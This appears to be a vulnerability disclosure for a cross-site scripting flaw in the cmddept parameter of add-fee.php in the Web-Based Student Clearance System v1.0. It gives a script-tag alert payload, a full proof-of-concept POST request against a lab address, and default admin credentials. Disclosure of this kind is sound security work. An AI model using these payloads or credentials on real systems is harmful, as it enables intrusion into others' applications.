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Vulnerability Description

Web-Based Student Clearance System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the add-fee.php. It is an open source project from https://www.sourcecodester.com/. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the cmddept parameter.

  1. BUG_Author: Tr0e

  2. vendors: Web-Based Student Clearance System in PHP Free Source Code;

  3. The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;

  4. Vulnerability location: /student_clearance_system_Aurthur_Javis/admin/add-fee.php

Vulnerability Verification

[+] Payload:

"><script>alert(1)</script>

POC：

POST http://192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/add-fee.php HTTP/1.1
Host: 192.168.0.111:91
Content-Length: 122
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.111:91
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/add-fee.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=rbcvgagjbbad1bbrbb62nukgmc
Connection: close

cmdsession=2020%2F2021&cmdfaculty=Select+faculty&cmddept=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&txtamt=2000&btnAdd=

How to verify

Build the vulnerability environment according to the steps provided by the source code author (Log in with the default account and password:admin/admin123) and execute the Payload provided above.

The vulnerability is located at the "Fee Management - Add Fee" function, you shuold inserts Payload when you add new file，as shown in the following figure： image image image image